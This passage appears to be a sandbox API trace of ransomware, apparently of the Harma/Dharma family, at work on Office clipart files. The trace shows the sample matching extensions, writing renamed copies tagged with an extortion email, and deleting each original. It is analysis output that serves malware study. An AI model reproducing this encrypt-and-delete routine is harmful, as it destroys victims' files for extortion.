(lpString=".bz2") returned 4 [0167.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.915] lstrlenW (lpString=".7z") returned 3 [0167.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.915] lstrlenW (lpString=".dbf") returned 4 [0167.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.916] lstrlenW (lpString=".1cd") returned 4 [0167.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned 63 [0167.916] lstrlenW (lpString=".jpg") returned 4 [0167.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.916] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.916] lstrlenW (lpString="J0105336.WMF") returned 12 [0167.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.920] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2900) returned 1 [0167.920] CloseHandle (hObject=0x33c) returned 1 [0167.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 0x20 [0167.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.921] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.921] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0167.922] GetLastError () returned 0x0 [0167.922] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xb54, lpOverlapped=0x0) returned 1 [0168.008] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xb60, lpOverlapped=0x0) returned 1 [0168.008] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.009] WriteFile (in: hFile=0x210, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.009] SetEndOfFile (hFile=0x210) returned 1 [0168.009] CloseHandle (hObject=0x210) returned 1 [0168.009] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.009] SetEndOfFile (hFile=0x33c) returned 1 [0168.011] CloseHandle (hObject=0x33c) returned 1 [0168.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0168.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.012] lstrlenW (lpString=".doc") returned 4 [0168.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.012] lstrlenW (lpString=".docx") returned 5 [0168.013] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.013] lstrlenW (lpString=".pdf") returned 4 [0168.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.013] lstrlenW (lpString=".xls") returned 4 [0168.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.013] lstrlenW (lpString=".xlsx") returned 5 [0168.013] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.013] lstrlenW (lpString=".ppt") returned 4 [0168.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.013] lstrlenW (lpString=".zip") returned 4 [0168.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.013] lstrlenW (lpString=".rar") returned 4 [0168.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.013] lstrlenW (lpString=".bz2") returned 4 [0168.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.013] lstrlenW (lpString=".7z") returned 3 [0168.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.013] lstrlenW (lpString=".dbf") returned 4 [0168.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.013] lstrlenW (lpString=".1cd") returned 4 [0168.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.013] lstrlenW (lpString=".jpg") returned 4 [0168.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.014] lstrlenW (lpString=".doc") returned 4 [0168.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.014] lstrlenW (lpString=".docx") returned 5 [0168.014] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.014] lstrlenW (lpString=".pdf") returned 4 [0168.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.014] lstrlenW (lpString=".xls") returned 4 [0168.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.014] lstrlenW (lpString=".xlsx") returned 5 [0168.014] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.014] lstrlenW (lpString=".ppt") returned 4 [0168.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.014] lstrlenW (lpString=".zip") returned 4 [0168.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.014] lstrlenW (lpString=".rar") returned 4 [0168.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.014] lstrlenW (lpString=".bz2") returned 4 [0168.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.014] lstrlenW (lpString=".7z") returned 3 [0168.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.014] lstrlenW (lpString=".dbf") returned 4 [0168.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.014] lstrlenW (lpString=".1cd") returned 4 [0168.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned 63 [0168.014] lstrlenW (lpString=".jpg") returned 4 [0168.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.015] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.015] lstrlenW (lpString="J0105368.WMF") returned 12 [0168.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0168.035] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=12380) returned 1 [0168.035] CloseHandle (hObject=0x3a0) returned 1 [0168.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 0x20 [0168.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0168.037] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.037] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0168.038] GetLastError () returned 0x0 [0168.038] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x305c, lpOverlapped=0x0) returned 1 [0168.083] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3060, lpOverlapped=0x0) returned 1 [0168.084] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.084] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.084] SetEndOfFile (hFile=0x218) returned 1 [0168.084] CloseHandle (hObject=0x218) returned 1 [0168.084] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.084] SetEndOfFile (hFile=0x3a0) returned 1 [0168.087] CloseHandle (hObject=0x3a0) returned 1 [0168.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0168.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.088] lstrlenW (lpString=".doc") returned 4 [0168.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.088] lstrlenW (lpString=".docx") returned 5 [0168.088] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.088] lstrlenW (lpString=".pdf") returned 4 [0168.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.089] lstrlenW (lpString=".xls") returned 4 [0168.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.089] lstrlenW (lpString=".xlsx") returned 5 [0168.089] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.089] lstrlenW (lpString=".ppt") returned 4 [0168.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.089] lstrlenW (lpString=".zip") returned 4 [0168.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.089] lstrlenW (lpString=".rar") returned 4 [0168.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.089] lstrlenW (lpString=".bz2") returned 4 [0168.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.089] lstrlenW (lpString=".7z") returned 3 [0168.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.089] lstrlenW (lpString=".dbf") returned 4 [0168.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.089] lstrlenW (lpString=".1cd") returned 4 [0168.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.089] lstrlenW (lpString=".jpg") returned 4 [0168.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.089] lstrlenW (lpString=".doc") returned 4 [0168.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.089] lstrlenW (lpString=".docx") returned 5 [0168.090] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.090] lstrlenW (lpString=".pdf") returned 4 [0168.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.090] lstrlenW (lpString=".xls") returned 4 [0168.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.090] lstrlenW (lpString=".xlsx") returned 5 [0168.090] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.090] lstrlenW (lpString=".ppt") returned 4 [0168.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.090] lstrlenW (lpString=".zip") returned 4 [0168.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.090] lstrlenW (lpString=".rar") returned 4 [0168.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.090] lstrlenW (lpString=".bz2") returned 4 [0168.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.090] lstrlenW (lpString=".7z") returned 3 [0168.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.090] lstrlenW (lpString=".dbf") returned 4 [0168.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.090] lstrlenW (lpString=".1cd") returned 4 [0168.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0168.090] lstrlenW (lpString=".jpg") returned 4 [0168.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.091] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.091] lstrlenW (lpString="J0105380.WMF") returned 12 [0168.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0168.092] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4624) returned 1 [0168.092] CloseHandle (hObject=0x3a0) returned 1 [0168.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20 [0168.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0168.092] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.092] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0168.094] GetLastError () returned 0x0 [0168.094] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1210, lpOverlapped=0x0) returned 1 [0168.187] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1220, lpOverlapped=0x0) returned 1 [0168.188] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.188] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.188] SetEndOfFile (hFile=0x218) returned 1 [0168.189] CloseHandle (hObject=0x218) returned 1 [0168.189] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.189] SetEndOfFile (hFile=0x3a0) returned 1 [0168.191] CloseHandle (hObject=0x3a0) returned 1 [0168.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0168.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.192] lstrlenW (lpString=".doc") returned 4 [0168.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.192] lstrlenW (lpString=".docx") returned 5 [0168.192] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.192] lstrlenW (lpString=".pdf") returned 4 [0168.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.192] lstrlenW (lpString=".xls") returned 4 [0168.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.193] lstrlenW (lpString=".xlsx") returned 5 [0168.193] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.193] lstrlenW (lpString=".ppt") returned 4 [0168.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.193] lstrlenW (lpString=".zip") returned 4 [0168.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.193] lstrlenW (lpString=".rar") returned 4 [0168.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.193] lstrlenW (lpString=".bz2") returned 4 [0168.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.193] lstrlenW (lpString=".7z") returned 3 [0168.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.193] lstrlenW (lpString=".dbf") returned 4 [0168.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.193] lstrlenW (lpString=".1cd") returned 4 [0168.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.193] lstrlenW (lpString=".jpg") returned 4 [0168.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.193] lstrlenW (lpString=".doc") returned 4 [0168.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.193] lstrlenW (lpString=".docx") returned 5 [0168.193] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.193] lstrlenW (lpString=".pdf") returned 4 [0168.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.194] lstrlenW (lpString=".xls") returned 4 [0168.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.194] lstrlenW (lpString=".xlsx") returned 5 [0168.194] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.194] lstrlenW (lpString=".ppt") returned 4 [0168.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.194] lstrlenW (lpString=".zip") returned 4 [0168.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.194] lstrlenW (lpString=".rar") returned 4 [0168.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.194] lstrlenW (lpString=".bz2") returned 4 [0168.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.194] lstrlenW (lpString=".7z") returned 3 [0168.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.194] lstrlenW (lpString=".dbf") returned 4 [0168.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.194] lstrlenW (lpString=".1cd") returned 4 [0168.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0168.194] lstrlenW 